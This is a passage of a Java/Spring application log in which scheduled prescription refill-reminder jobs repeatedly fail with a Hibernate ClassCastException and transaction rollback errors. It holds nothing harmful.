org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 11:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 11:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 11:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 11:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 11:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 11:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 11:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 11:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 11:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 11:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 11:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 11:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 12:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 12:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 12:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 12:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 12:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 12:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 12:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 12:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 12:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 12:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 12:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 12:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 12:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 12:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 12:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 12:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 12:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 12:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 12:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 12:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 12:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 12:10:00 INFO 